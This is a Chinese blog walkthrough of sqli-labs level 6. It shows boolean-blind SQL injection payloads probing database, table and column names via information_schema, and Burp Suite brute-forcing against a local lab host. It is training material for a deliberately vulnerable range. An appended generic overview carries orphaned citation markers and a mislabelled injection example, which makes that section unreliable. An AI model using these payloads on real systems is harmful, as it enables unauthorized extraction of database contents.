Sqli-lab靶场教程第六关(布尔盲注)

免责声明

本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动,包括但不限于未经授权访问计算机系统、网络或数据。

作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何责任。包括但不限于因使用本文所述技术而可能导致的法律诉讼、财产损失、隐私泄露或其他任何形式的责任。

在进行任何渗透测试或安全研究之前,请确保您已获得所有必要的授权,并遵守适用的法律和道德准则。未经授权的安全测试可能违反法律,并可能导致严重的法律后果。

本文中的内容仅供参考,不应被视为专业建议。在进行任何安全相关活动之前,建议咨询具有相应资质的专业人士。

第六关

这一关可以使用报错注入、布尔盲注、时间盲注,报错注入第五关用过了具体参考上期文章sqli-lab靶场教程(1-5关),第六关这里我们使用布尔盲注。

判断闭合类型

?id=1\

发现闭合类型为字符型双引号闭合

判断数据库名的长度

?id=1" and length(database())>=8--+

这里判断的方法是使用and的机制让and两边都为true才会回显网页输出的内容,这里我们使用手工加bp爆破

经过判断发现数据库名长度为8

这里我们可以使用substr截取字符进行ascii编码然后判断大小来确定是哪个字符

?id=1" and ascii(substr(database(),1,1))>=115--+

经过判断发现数据库第一个字母ascii的编码为115,通过对照ascii码表发现115为小写s,所以数据库第一个字母为s,以此类推剩下的字符

判断第一个表单的第一个字符

?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>=101--+

对照ascii表发现第一个表单的第一个字母为e

接下来我们使用bp爆破其他的字符,这里我使用的是kali上的bp,先创建一个36位字母的字典

判断表单名长度

?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>=29--+

长度为29

访问网页,并写入payload

http://192.168.153.39:8081/Less-6/?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='str'--+

打开bp代理进行抓包,并将包发送给攻击模块

在攻击模块中设置攻击节点和攻击模式

设置完成是这样的

设置payload,第一个攻击节点设置为数字型,数据库长度为8,所以我们设置长度为8步长为1

设置第二个攻击节点,加上我们创建的字典

爆破完成,根据位数进行排序,这里没有第七位的原因是第七位是逗号,而字典中没有逗号,所以没有显示,第七位之前就是第一个表单名emails,要想爆破后续名单名字就需要补全数字和字典

判断列名长度

?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))>=20--+

爆破列名

?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='str'--+

爆破用户名和密码与上面步骤一样。

### 于SQL注入实验室(sqli-lab)的解题思路 #### 实验室概述 SQLi-Labs 是一个用于学习和实践 SQL 注入漏洞利用技巧的开源项目。该项目提供了一系列具有不同复杂度级别的 Web 应用程序,旨在帮助安全研究人员理解和掌握各种类型的 SQL 注入攻击方法[^1]。 #### 基本准备 在开始尝试破解 sqli-lab 的各个卡之前,确保已经安装并配置好了实验环境。通常情况下,可以通过 Docker 或者直接部署 PHP 和 MySQL 来运行这些练习实例。熟悉如何启动服务以及访问目标网站是非常重要的前提条件[^2]。 #### 解决方案概览 对于每一个挑战级别,解决过程大致可以分为以下几个方面: - **理解应用程序逻辑**:仔细阅读页面上的提示信息,了解输入字段的作用范围及其背后可能存在的查询语句结构。 - **识别潜在入口点**:通过测试不同的参数组合来发现哪些地方可能存在未被充分验证过的用户输入路径。 - **构建有效载荷(Payload)**:基于前面两步获得的知识,精心设计能够绕过防护机制并执行恶意命令的数据包内容。 下面给出一些具体场景下的通用策略和技术要点说明: ##### Level 1 - Error Based Injection 当遇到错误消息泄露型注入时,可利用单引号 `'` 导致语法异常进而触发数据库报错的方式来进行探测。例如,在登录表单中提交如下用户名: ```sql ' OR '1'='1 ``` 如果返回了不同于正常情况的结果,则表明存在该类别的弱点[^3]。 ##### Union Query Attack 联合查询是一种常见的高级技术,它允许攻击者将额外的选择子附加到原始请求之后从而获取更多有用的信息片段。比如构造这样的 URL 参数字符串: ```http ?id=1 UNION SELECT null, version(), database() ``` 这会使得服务器响应除了原本预期之外还包含了当前使用的 DBMS 版本号及默认库名等敏感资料[^4]。 请注意以上仅作为理论指导而非详尽的操作指南;实际操作过程中还需要考虑诸多因素如编码方式转换、字符集差异处理等等细节问题。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值